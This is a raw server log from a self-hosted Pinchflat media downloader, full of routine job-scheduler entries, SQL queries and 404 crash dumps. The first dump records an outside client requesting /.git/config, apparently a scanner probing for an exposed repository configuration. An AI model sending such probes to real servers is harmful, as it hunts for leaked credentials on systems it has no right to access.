"accept-encoding" => "gzip", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.238", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "45.148.10.238" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.261156.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 49732}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.238", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "45.148.10.238" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.261157.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, li (truncated) 18:36:59.618 [info] {"source":"oban","duration":1061,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:37:00.267 [info] {"source":"oban","duration":332,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:37:29.620 [info] {"source":"oban","duration":1424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:37:59.622 [info] {"source":"oban","duration":1433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:38:00.268 [info] {"source":"oban","duration":326,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:38:29.624 [info] {"source":"oban","duration":1497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:38:59.626 [info] {"source":"oban","duration":1413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:39:00.269 [info] {"source":"oban","duration":555,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:39:29.628 [info] {"source":"oban","duration":1500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:39:59.630 [info] {"source":"oban","duration":1492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:40:00.270 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:40:29.632 [info] {"source":"oban","duration":1332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:40:59.634 [info] {"source":"oban","duration":1232,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:41:00.271 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:41:29.636 [info] {"source":"oban","duration":1247,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:41:59.638 [info] {"source":"oban","duration":1018,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:42:00.272 [info] {"source":"oban","duration":258,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:42:29.640 [info] {"source":"oban","duration":1255,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:42:32.729 [debug] Tzdata polling for update. 18:42:32.878 [debug] Tzdata polling shows the loaded tz database is up to date. 18:42:59.642 [info] {"source":"oban","duration":1070,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:43:00.273 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:43:29.644 [info] {"source":"oban","duration":1293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:43:59.646 [info] {"source":"oban","duration":984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:44:00.274 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:44:29.648 [info] {"source":"oban","duration":932,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:44:59.649 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:45:00.276 [info] {"source":"oban","duration":1135,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:45:29.652 [info] {"source":"oban","duration":1172,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:45:59.654 [info] {"source":"oban","duration":1465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:46:00.277 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:46:29.656 [info] {"source":"oban","duration":1407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:46:59.658 [info] {"source":"oban","duration":1634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:47:00.278 [info] {"source":"oban","duration":292,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:47:29.660 [info] {"source":"oban","duration":1742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:47:59.663 [info] {"source":"oban","duration":1477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:48:00.279 [info] {"source":"oban","duration":341,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:48:29.665 [info] {"source":"oban","duration":1272,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:48:59.667 [info] {"source":"oban","duration":1366,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:49:00.280 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:49:29.669 [info] {"source":"oban","duration":1613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:49:59.671 [info] {"source":"oban","duration":1583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:50:00.281 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:50:29.673 [info] {"source":"oban","duration":1642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:50:59.675 [info] {"source":"oban","duration":1402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:51:00.282 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:51:29.677 [info] {"source":"oban","duration":1477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:51:59.679 [info] {"source":"oban","duration":1185,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:52:00.283 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:52:29.681 [info] {"source":"oban","duration":1079,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:52:59.683 [info] {"source":"oban","duration":1043,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:53:00.285 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:53:29.685 [info] {"source":"oban","duration":966,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:53:59.687 [info] {"source":"oban","duration":1450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:54:00.286 [info] {"source":"oban","duration":337,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:54:29.689 [info] {"source":"oban","duration":1396,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:54:59.691 [info] {"source":"oban","duration":1441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:55:00.287 [info] {"source":"oban","duration":280,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:55:29.693 [info] {"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:55:59.695 [info] {"source":"oban","duration":1353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:56:00.288 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:56:29.697 [info] {"source":"oban","duration":1266,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:56:59.699 [info] {"source":"oban","duration":1626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:57:00.289 [info] {"source":"oban","duration":536,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:57:29.701 [info] {"source":"oban","duration":1399,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:57:59.703 [info] {"source":"oban","duration":990,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:58:00.290 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:58:29.705 [info] {"source":"oban","duration":1297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:58:59.707 [info] {"source":"oban","duration":1361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:59:00.291 [info] {"source":"oban","duration":514,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:59:29.709 [info] {"source":"oban","duration":1582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:59:59.711 [info] {"source":"oban","duration":1563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:00:00.294 [info] {"source":"oban","duration":2286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[2629]} 19:00:00.301 [info] {"args":{},"id":2629,"meta":{"cron":true,"cron_expr":"0 2 * * *","cron_tz":"Etc/UTC"},"system_time":1765677600301533325,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaQualityUpgradeWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:00:00.306 [debug] QUERY OK source="media_items" db=3.4ms queue=0.1ms idle=658.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((NOT (m0."media_filepath" IS NULL) AND NOT (m0."prevent_download" = 1)) AND NOT (NOT (m0."media_redownloaded_at" IS NULL))) AND IFNULL(redownload_delay_days, 0) > 0 AND DATE('now', '-' || redownload_delay_days || ' day') > DATE(uploaded_at) AND DATE(media_downloaded_at, '-' || redownload_delay_days || ' day') < DATE(uploaded_at) ) [] 19:00:00.306 [info] Redownloading 0 media items 19:00:00.306 [info] {"args":{},"id":2629,"meta":{"cron":true,"cron_expr":"0 2 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaQualityUpgradeWorker","source":"oban","duration":4763,"event":"job:stop","queue_time":299957,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:00:29.713 [info] {"source":"oban","duration":1466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:00:59.715 [info] {"source":"oban","duration":1147,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:01:00.295 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:01:29.717 [info] {"source":"oban","duration":1148,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:01:59.719 [info] {"source":"oban","duration":1306,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:02:00.296 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:02:29.721 [info] {"source":"oban","duration":1382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:02:59.723 [info] {"source":"oban","duration":1392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:03:00.297 [info] {"source":"oban","duration":327,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:03:29.725 [info] {"source":"oban","duration":1432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:03:59.727 [info] {"source":"oban","duration":1504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:04:00.298 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:04:29.729 [info] {"source":"oban","duration":1244,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:04:59.731 [info] {"source":"oban","duration":1673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:05:00.299 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:05:29.733 [info] {"source":"oban","duration":1719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:05:59.736 [info] {"source":"oban","duration":1391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:06:00.300 [info] {"source":"oban","duration":526,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:06:29.738 [info] {"source":"oban","duration":1339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:06:59.740 [info] {"source":"oban","duration":1543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:07:00.301 [info] {"source":"oban","duration":268,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:07:29.742 [info] {"source":"oban","duration":1564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:07:41.461 [info] GET /sources/4/media/99281/force_download 19:07:41.462 [debug] QUERY OK source="settings" db=0.3ms idle=1818.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:07:41.463 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1818.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:07:41.463 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 19:07:41.464 [error] #PID<0.261338.0> running PinchflatWeb.Endpoint (connection #PID<0.261337.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/4/media/99281/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/4/media/99281/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.261337.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/media/99281/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 40116}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.173", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.227.173" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.261338.0>, params: %{}, path_info: ["sources", "4", "media", "99281", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.227.173"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.227.173"} ], request_path: "/sources/4/media/99281/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIDy14kjoiAB6NQAMK0C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.261337.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/media/99281/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 40116}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.173", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.227.173" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/4/media/99281/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.261337.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/media/99281/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 40116}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.173", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.227.173" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.261338.0>, params: %{}, path_info: ["sources", "4", "media", "99281", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.E (truncated) 19:07:56.779 [info] GET /sources/3/media/3302/force_download 19:07:56.780 [debug] QUERY OK source="settings" db=0.3ms idle=1136.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:07:56.781 [debug] QUERY OK source="settings" db=0.2ms idle=1136.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:07:56.781 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 19:07:56.782 [error] #PID<0.261340.0> running PinchflatWeb.Endpoint (connection #PID<0.261339.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/3/media/3302/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3302/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.261339.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3302/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 40328}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.173", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.227.173" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.261340.0>, params: %{}, path_info: ["sources", "3", "media", "3302", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.227.173"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.227.173"} ], request_path: "/sources/3/media/3302/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIDy2xopQYSWGn8AMK1C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.261339.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3302/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 40328}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.173", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.227.173" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET 